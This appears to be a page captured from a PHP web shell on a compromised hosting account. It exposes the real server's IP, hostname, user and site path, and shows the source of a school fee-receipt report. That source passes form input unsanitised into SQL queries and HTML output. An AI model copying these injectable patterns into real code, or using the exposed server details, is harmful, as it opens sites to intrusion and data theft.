Server IP : 2a02:4780:3:1378:0:3736:a38e:10 / Your IP : 3.135.185.223 Web Server : LiteSpeed System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // First we execute our common code to connection to the database and start the session require("common.php"); // At the top of the page we check to see whether the user is logged in or not if(!isset($_SESSION['user']) && !isset($_SESSION['Mng_User'])) { // If they are not, we redirect them to the login page. header("Location: login.php"); // Remember that this die statement is absolutely critical. Without it, // people can view your members-only content without logging in. die("Redirecting to login.php"); } // Everything below this point in the file is secured by the login system // We can display the user's username to them by reading it from the session array. Remember that because // a username is user submitted content we must use htmlentities on it before displaying it to the user. ?> <?php include "config/config.php"; $r=mysqli_query($con,"select * from class"); $r1=mysqli_query($con,"select * from division"); $r2=mysqli_query($con,"select * from head "); ?> <!DOCTYPE html> <html> <head> <!-- start: Meta --> <meta charset="utf-8"> <title>Receipt Report List</title> <meta name="description" content="Bootstrap Metro Dashboard"> <meta name="author" content="Dennis Ji"> <meta name="keyword" content="Metro, Metro UI, Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina"> <!-- end: Meta --> <!-- start: Mobile Specific --> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- end: Mobile Specific --> <!-- start: CSS --> <link id="bootstrap-style" href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/bootstrap-responsive.min.css" rel="stylesheet"> <link id="base-style" href="css/style.css" rel="stylesheet"> <link id="base-style-responsive" href="css/style-responsive.css" rel="stylesheet"> <link href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&subset=latin,cyrillic-ext,latin-ext' rel='stylesheet' type='text/css'> <!-- end: CSS --> <!-- The HTML5 shim, for IE6-8 support of HTML5 elements --> <!--[if lt IE 9]> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <link id="ie-style" href="css/ie.css" rel="stylesheet"> <![endif]--> <!--[if IE 9]> <link id="ie9style" href="css/ie9.css" rel="stylesheet"> <![endif]--> <!-- start: Favicon --> <link rel="shortcut icon" href="img/favicon.ico"> <!-- end: Favicon --> <style type="text/css"> <!-- .style1 { color: #3300CC; font-weight: bold; } .style2 { color: #FF0000; font-weight: bold; } .style4 { color: #CC00FF; font-weight: bold; } --> </style> <script src="https://code.jquery.com/jquery-3.3.1.js"></script> <script src="https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js"></script> <script src="https://cdn.datatables.net/buttons/1.5.1/js/dataTables.buttons.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.32/pdfmake.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.32/vfs_fonts.js"></script> <script src="https://cdn.datatables.net/buttons/1.5.1/js/buttons.html5.min.js"></script> <link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.16/css/jquery.dataTables.min.css"/> <link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/buttons/1.5.1/css/buttons.dataTables.min.css"/> <script type="text/javascript"> $.fn.dataTable.ext.errMode = 'none'; $(document).ready(function() { $('#example').DataTable( { dom: 'Bfrtip', buttons: [ 'copyHtml5', 'excelHtml5', 'csvHtml5', 'pdfHtml5' ] } ); } ); $(document).ready(function() { $('#example1').DataTable( { dom: 'Bfrtip', buttons: [ 'copyHtml5', 'excelHtml5', 'csvHtml5', 'pdfHtml5' ] } ); } ); $(document).ready(function() { $('#example2').DataTable( { dom: 'Bfrtip', buttons: [ 'copyHtml5', 'excelHtml5', 'csvHtml5', 'pdfHtml5' ] } ); } ); $(document).ready(function() { $('#example3').DataTable( { dom: 'Bfrtip', buttons: [ 'copyHtml5', 'excelHtml5', 'csvHtml5', 'pdfHtml5' ] } ); } ); $(document).ready(function() { $('#example4').DataTable( { dom: 'Bfrtip', buttons: [ 'copyHtml5', 'excelHtml5', 'csvHtml5', 'pdfHtml5' ] } ); } ); </script> <script src="js/jquery-migrate-1.0.0.min.js"></script> <script src="js/jquery-ui-1.10.0.custom.min.js"></script> <script src="js/jquery.ui.touch-punch.js"></script> <script src="js/modernizr.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/jquery.cookie.js"></script> <script src='js/fullcalendar.min.js'></script> <script src="js/excanvas.js"></script> <script src="js/jquery.flot.js"></script> <script src="js/jquery.flot.pie.js"></script> <script src="js/jquery.flot.stack.js"></script> <script src="js/jquery.flot.resize.min.js"></script> <script src="js/jquery.chosen.min.js"></script> <script src="js/jquery.uniform.min.js"></script> <script src="js/jquery.cleditor.min.js"></script> <script src="js/jquery.noty.js"></script> <script src="js/jquery.elfinder.min.js"></script> <script src="js/jquery.raty.min.js"></script> <script src="js/jquery.iphone.toggle.js"></script> <script src="js/jquery.uploadify-3.1.min.js"></script> <script src="js/jquery.gritter.min.js"></script> <script src="js/jquery.imagesloaded.js"></script> <script src="js/jquery.masonry.min.js"></script> <script src="js/jquery.knob.modified.js"></script> <script src="js/jquery.sparkline.min.js"></script> <script src="js/counter.js"></script> <script src="js/retina.js"></script> <script src="js/custom.js"></script> <style> .table-responsive { display: block; width: 100%; overflow-x: auto; -webkit-overflow-scrolling: touch; -ms-overflow-style: -ms-autohiding-scrollbar; } </style> </head> <body onLoad="myFunction()"> <!-- start: Header --> <!-- start: Header --> <div class="table-responsive"> <table width="945" border="3" align="center"> <tr> <td width="313">Fees Code: <?php if($d=isset($_POST["head"])) { $sql6=mysqli_query($con,"SELECT * FROM `head` WHERE `Head_Id` = '$_POST[head]'"); $row9=mysqli_fetch_array($sql6); echo "<font color='Blue'><b> $row9[Name] </b> </font>"; } ?> </td> <td>Class:<?php if($e=isset($_POST["Class"])) { echo "<font color='Blue'><b> $_POST[Class] </b> </font>"; } ?></td> <td>Division:<?php if($f=isset($_POST["Division"])) { echo "<font color='Blue'><b> $_POST[Division] </b> </font>"; } ?></td> </tr> </table> </div> <br> <div class="box-content"> <div class="row-fluid sortable"> <div class="box span12"> <div class="box-header" data-original-title> <h2><i class="halflings-icon white user"></i><span class="break"></span>Students</h2> <div class="box-icon"> </div> </div> <div class="box-content" > <?php ?> <div class="table-responsive"> <table id="example" class="table table-striped table-bordered bootstrap-datatable datatable"> <thead> <tr> <th>Sr. No.</th> <th>Class</th> <th>Div</th> <th>Student Name</th> <th>Fees Code</th> <th>Total</th> <th>Balance</th> <th>Date</th> <th>Recipt No.</th> <?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { if (isset($_POST['Subb'])) if ($_POST['Subb'] != NULL) { $Subb=$_POST["Subb"]; } if (isset($_POST['head'])) if ($_POST['head'] != NULL) { $Head_Id=$_POST["head"]; } ?> <?php if($Subb == "Yes") { ?> <?php $qu=mysqli_query($con,"select `SubHeads` from head where `Head_Id` = '$Head_Id'"); $qu1=mysqli_fetch_array($qu); $qu2=explode("/",$qu1[0]); foreach($qu2 as $qu3) { ?> <th><?php $qu4=mysqli_query($con,"select `Name` from sub_head where `Sub_Id` = '$qu3'"); $qu5=mysqli_fetch_array($qu4); echo $qu5[0]; ?></th> <?php } ?> <?php }else { ?><th> <?php echo"Amount"; ?> </th> <?php } } ?> </tr> </thead> <tbody> <?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { $argu=""; if (isset($_POST['Class'])) if ($_POST['Class'] != NULL) { $Class=$_POST["Class"]; $argu=$argu."and stud_basic.Class='$Class'"; } if (isset($_POST['Division'])) if ($_POST['Division'] != NULL) { $Division=$_POST["Division"]; $argu=$argu." and stud_basic.Division='$Division'"; } if (isset($_POST['head'])) if ($_POST['head'] != NULL) { $Head_Id=$_POST["head"]; $argu=$argu."and paid_fees.Head_Id='$Head_Id'"; } if (isset($_POST['Subb'])) if ($_POST['Subb'] != NULL) { $Subb=$_POST["Subb"]; } ?> <?php $sqll= "SELECT paid_fees.Recipt_No,stud_basic.Class,stud_basic.Division,stud_basic.Name,paid_fees.Head_Id, paid_fees.Grand_Total,paid_fees.Paid_date,stud_basic.Stud_Id,paid_fees.Mode,paid_fees.DateNumber,paid_fees.Recp_Book_No as recpno FROM stud_basic inner join stud_basic2 on stud_basic.Stud_Id = stud_basic2.Stud_Id inner join paid_fees on stud_basic2.Stud_Id = paid_fees.Stud_Id inner join head on head.Head_Id=paid_fees.Head_Id WHERE '0'='0' $argu Group by paid_fees.Recipt_No,stud_basic.Class,stud_basic.Division,stud_basic.Name,paid_fees.Head_Id, paid_fees.Grand_Total,paid_fees.Paid_date,stud_basic.Stud_Id,paid_fees.Mode,paid_fees.DateNumber,paid_fees.Recp_Book_No"; //echo "$sqll<br>"; $res=mysqli_query($con,$sqll); $ii=1; while($data=mysqli_fetch_array($res)) { //$cc=sizeof($data); //echo "cc=$cc<br>$sqll"; //echo "$sqll"; ?><tr> <?php $hd_res=mysqli_query($con,"select * from head where Head_Id = '$data[4]'"); $hd=mysqli_fetch_array($hd_res); $Stud_Id=$data['Stud_Id']; $tmp_rs=mysqli_query($con,"select SUM(stud_basic2.Total_Amount) AS Total_Amount,SUM(stud_basic2.Balance) AS Balance from stud_basic2 where Head_Id = '$data[4]' AND Stud_Id=$Stud_Id"); $pt_res=mysqli_fetch_array($tmp_rs); ?> <td><?php echo $ii++; ?></td> <td><?php echo $data['1']; ?></td> <td><?php echo $data['2']; ?></td> <td><a href="stud_profile.php?key=<?php echo "$data[Stud_Id]"; ?>" ><?php echo "$data[3]"; ?></a></td> <td><?php echo $hd['Name']; ?> </td> <td><?php echo $pt_res['Total_Amount']; ?></td> <td><?php echo $pt_res['Balance']; ?></td> <td><?php echo $data['6']; ?></td> <td><?php echo $data['0']; ?></td> <?php if($Subb == "Yes") { ?> <?php $qu=mysqli_query($con,"select `SubHeads` from head where `Head_Id` = '$Head_Id'"); $qu1=mysqli_fetch_array($qu); $qu2=explode("/",$qu1[0]); foreach($qu2 as $qu3) { ?> <td><?php $qu4=mysqli_query($con,"select * from sub_head where `Sub_Id` = '$qu3'"); $qu5=mysqli_fetch_array($qu4); $paid_res=mysqli_query($con,"SELECT * FROM `paid_fees` WHERE `Recipt_No` = '$data[recpno]'"); $paid=mysqli_fetch_array($paid_res); $subid_arr=explode("/",$paid['Subhead_Ids']); $amount_arr=explode("/",$paid['Sub_Amounts']); $index= array_search($qu3,$subid_arr,true); if($index != ""){ echo $amount_arr[$index]; }else{ echo "0"; } ?></td> <?php } ?> <?php }else { ?><td> <?php echo $data['5']; ?> </td> <?php } ?> <?php } ?> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> <div class="clearfix"></div> <div class="clearfix"></div> <footer> <p> <span style="text-align:left;float:left">© 2018 <a href="http://evisioninfotech.in" alt="Bootstrap_Metro_Dashboard">e vision infotech</a></span> </p> </footer> </body> </html>